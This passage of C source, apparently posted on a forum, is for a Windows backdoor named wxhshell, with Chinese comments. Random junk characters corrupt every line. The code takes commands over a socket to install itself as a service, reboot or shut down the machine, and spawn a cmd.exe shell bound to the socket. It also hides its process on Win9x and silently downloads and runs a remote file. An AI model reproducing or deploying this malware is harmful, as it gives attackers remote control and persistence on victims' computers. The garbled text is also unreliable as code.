      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ``P9fd  
    break; f9 \$,7F  
  } YrJUs]A  
  // 安装 */l;e<E  
  case 'i': { aG83@ABx  
    if(Install()) "a= Hr4C*r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "p*'HQ  
    else I/XSW#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p20JU zy  
    break; v7SYWO#  
    } 1*yxSU@uY  
  // 卸载 e6>G8d  
  case 'r': { SDC'S]{ew  
    if(Uninstall()) N[e,%heR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 ty2e`~K  
    else /IG{j}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eamt_/LKf  
    break; lKw-C[  
    } B ,cFvS  
  // 显示 wxhshell 所在路径 e.skE>&  
  case 'p': { |$b8(g$s)  
    char svExeFile[MAX_PATH]; y]0O"X-G  
    strcpy(svExeFile,"\n\r"); GdcXU:J /  
      strcat(svExeFile,ExeFile); >x JzV  
        send(wsh,svExeFile,strlen(svExeFile),0); ~1%*w*  
    break; IJ&Lk=2E]  
    } DtFHh/X  
  // 重启 L7Hv)  
  case 'b': { v@soS1V!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o0]YDX@T  
    if(Boot(REBOOT)) = V2Rq(jH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O-X(8<~H=  
    else { Xg96I: r'p  
    closesocket(wsh); $Yt|XT+!&  
    ExitThread(0); 0M"n  
    } W`_JERo  
    break; -R]0cefC<f  
    } v>#Njgo  
  // 关机 Yu\$Y0 {]  
  case 'd': { ?UAuUFueA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ba@~:  
    if(Boot(SHUTDOWN)) \^*:1=|7u]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XZb=;tYo  
    else { )b #5rQ  
    closesocket(wsh); "t&=~eOe3  
    ExitThread(0); le\-h'D  
    } m2\\!C]f  
    break; >) u;X  
    } Yi%lWbr  
  // 获取shell J)>DsQ+Cj  
  case 's': { % -!%n= P  
    CmdShell(wsh); c$ !?4z_.  
    closesocket(wsh); Qc3d<{7\~  
    ExitThread(0); Dj(PH3^  
    break; bRxI7 '  
  } Ze~P6  
  // 退出 Uv(R^50>  
  case 'x': { 22ON=NN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZPmqoR[  
    CloseIt(wsh); J:N(U0U  
    break; <"5l<E  
    } 94+^K=lAX  
  // 离开 }ouGxs+^[  
  case 'q': { bW6| &P}X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~i"=:D  
    closesocket(wsh); F<,pAxl~@  
    WSACleanup(); 3p=Xv%xd  
    exit(1); x(TF4W=j  
    break; ks0Q+YW  
        } ?Fl}@EA#M  
  } n?fy@R  
  } BA c+T  
KMj\A d  
  // 提示信息 }#FV{C]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v`Jt+?I  
} wHj 1+W  
  } $&as5z8  
._G ,uP$  
  return; %^@l5h.lqB  
} ^YLC{V  
o9 9ExQ.  
// shell模块句柄 ,%TBW,>  
int CmdShell(SOCKET sock) B?z2@,  
{ o}v<~v(  
STARTUPINFO si; ~#sD2b` 0  
ZeroMemory(&si,sizeof(si)); `q-+r1u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LeLUt<4~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jw:z2:0~  
PROCESS_INFORMATION ProcessInfo; S[zvR9AW&  
char cmdline[]="cmd"; ]eKuR"ob0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CM_hN>%w[  
  return 0; 4=^_VDlpd  
} ~S/oW89  
Kz"3ba}KH  
// 自身启动模式 idYB.]Y(  
int StartFromService(void) ?:\/-y)Sp  
{ ,ErfTg&^  
typedef struct zWEPwOlI1P  
{  O`@Nl  
  DWORD ExitStatus; Fa%1] R  
  DWORD PebBaseAddress; Ab@ G^SLX  
  DWORD AffinityMask; irAXXg  
  DWORD BasePriority; !q2zuxq!R  
  ULONG UniqueProcessId; D.a>i?W  
  ULONG InheritedFromUniqueProcessId; Q/S ^-&~  
}   PROCESS_BASIC_INFORMATION; % "(&a'B  
~bZ$ d{o^  
PROCNTQSIP NtQueryInformationProcess; G4@r_VP\  
k`:zQd^T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ..} P$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^O_Z5NbC3  
'dKfXYY1`N  
  HANDLE             hProcess; =P(*j7=  
  PROCESS_BASIC_INFORMATION pbi; uyWheR  
PR@6=[|d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZM.'W}J{ *  
  if(NULL == hInst ) return 0; Z=]SAK`  
zKd@Ab  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XDY]LAV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CPOH qK`k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XQy`5iv  
zV&l^.  
  if (!NtQueryInformationProcess) return 0; 9^}&PEl  
v$]B;;[A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f7x2"&?vg  
  if(!hProcess) return 0; p/ ITg  
w5%Yi {  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; " @D  
%zcA|SefP  
  CloseHandle(hProcess); e(t}$Q=  
8FuxN2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zS%XmS\  
if(hProcess==NULL) return 0; T?7u [D[[  
tJ^p}yxO  
HMODULE hMod; Hm2Y% 4i%  
char procName[255]; 1[!:|=  
unsigned long cbNeeded; g6,DBkv2  
<O1R*CaP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sy"}25s  
3k1e  
  CloseHandle(hProcess); dVbFMQ&  
1@|+l!rYF  
if(strstr(procName,"services")) return 1; // 以服务启动 %>m.Z#R(  
AQ'%}(#0  
  return 0; // 注册表启动 I){4MoH.  
} ,Pa*; o\  
X!]v4ma`  
// 主模块 O <Rh[Aqn  
int StartWxhshell(LPSTR lpCmdLine) `==l 2AX  
{ XO <0;9|  
  SOCKET wsl; ~XOmxz0  
BOOL val=TRUE; qfDG.Zee#  
  int port=0; tAv3+  
  struct sockaddr_in door; I\mF dE  
QC+ Z6WS;  
  if(wscfg.ws_autoins) Install(); /JR+WmO  
5NhFjPETr  
port=atoi(lpCmdLine); j*.;6}\o  
t /+;#-  
if(port<=0) port=wscfg.ws_port;  cyl%p$  
,';|CGI cP  
  WSADATA data; {+J{t\`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PJ5}c!o[  
ZwUBeyxS=c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ? "I %K%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tl 0|.Q,  
  door.sin_family = AF_INET; hE&6;3">  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d>p' A_  
  door.sin_port = htons(port); ` s7pM  
aw*]b.f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { flmQNrC.8  
closesocket(wsl); ^ptybVo  
return 1; JN wI{  
} kvwnqaX  
iHPsRq!  
  if(listen(wsl,2) == INVALID_SOCKET) { dxX`\{E  
closesocket(wsl); ]h S:0QE  
return 1; m4/qxm"Dx:  
} Vm%G q  
  Wxhshell(wsl); `Z;Z^c  
  WSACleanup(); aKj|gwo!  
h3@tZL#g  
return 0; ~q ^o|?  
OFtaOjsyUa  
} jqaX|)8|$  
U`(=iyWP=  
// 以NT服务方式启动 CTNL->  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,U\ s89  
{ $?56 i4  
DWORD   status = 0; t{>K).'  
  DWORD   specificError = 0xfffffff; cfIC(d  
=dGp&9K,fw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pCE GZV,d@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B7f<XBU6>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O)q4^AE$  
  serviceStatus.dwWin32ExitCode     = 0; Jpapl%7v  
  serviceStatus.dwServiceSpecificExitCode = 0; (h0@;@@7hW  
  serviceStatus.dwCheckPoint       = 0; Hhknjx  
  serviceStatus.dwWaitHint       = 0; A)U"F&tvm  
vfkF@^D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lx|Aw@C3~  
  if (hServiceStatusHandle==0) return; r XJx~ g  
[D~]  
status = GetLastError(); nCq'=L,m  
  if (status!=NO_ERROR) 30sJ"hF9  
{ QD@O!}; T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <e UsMo<  
    serviceStatus.dwCheckPoint       = 0; w % Hj'  
    serviceStatus.dwWaitHint       = 0; M@.l# [@U  
    serviceStatus.dwWin32ExitCode     = status; j-K[]$  
    serviceStatus.dwServiceSpecificExitCode = specificError; H^-Y]{7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :+"4_f0  
    return; MqZ"Js  
  } vqeH<$WHvy  
"L~Oj&AN[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c]M+|R5  
  serviceStatus.dwCheckPoint       = 0; cp Ot?XYR~  
  serviceStatus.dwWaitHint       = 0; hL3up]pZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g7zl5^o3j  
} $]DuO1H./  
6\7c:  
// 处理NT服务事件,比如:启动、停止 MZt#T+b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :`N&BV  
{ TanWCt4r  
switch(fdwControl) ZO%^r%~s  
{ 5k0iVpjQ  
case SERVICE_CONTROL_STOP: _m9k2[N!  
  serviceStatus.dwWin32ExitCode = 0; bY P8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oLoc jj~T  
  serviceStatus.dwCheckPoint   = 0; IS]A<}j/-  
  serviceStatus.dwWaitHint     = 0; HUx`RX0>  
  { b=EI?XwJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !P{ /;Q  
  } '/I`dj  
  return; cNd&C'/N  
case SERVICE_CONTROL_PAUSE: `Q*`\-8J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JQKXbsXS  
  break; *ak0(yLn)  
case SERVICE_CONTROL_CONTINUE: -9dZT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RW&o3_Ua  
  break; 6y^ zC?  
case SERVICE_CONTROL_INTERROGATE: \Eh5g/,[  
  break; Zv %>m  
}; ~<_#%R!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S>dHBR#AD  
} $]|3^(y``  
gCg hWg{S  
// 标准应用程序主函数 ]H/,Q6Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g kmof^  
{ UCVYO. 9"  
)xcjQkb  
// 获取操作系统版本 VZqCFE3  
OsIsNt=GetOsVer(); &oMEz 0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YhH3fVM  
zbFy3-RP  
  // 从命令行安装 &oG>Rqkm  
  if(strpbrk(lpCmdLine,"iI")) Install(); G u`xJ  
WHC/'kvF  
  // 下载执行文件 (1CP]5W  
if(wscfg.ws_downexe) { 5~h )pt47  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kqeEm {I  
  WinExec(wscfg.ws_filenam,SW_HIDE); $s _k/dM~&  
} M]o]D;N~l  
vl/!w2  
if(!OsIsNt) { }[eUAGhDU  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zz} o  t  
HideProc(); PY.HZ/#d  
StartWxhshell(lpCmdLine); uf?;;wg  
} sK%b16#  
else __}SHU0R  
  if(StartFromService()) r^Ra`:ca  
  // 以服务方式启动 ft/k-64  
  StartServiceCtrlDispatcher(DispatchTable); ]C^ #)7  
else I;@q`Tm  
  // 普通方式启动 tpS gbGzp  
  StartWxhshell(lpCmdLine); 9Buss+K?/h  
]2-Qj)mZ]  
return 0; 5 SQ!^1R 9  
}
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只看该作者 1 发表于: 2006-10-10
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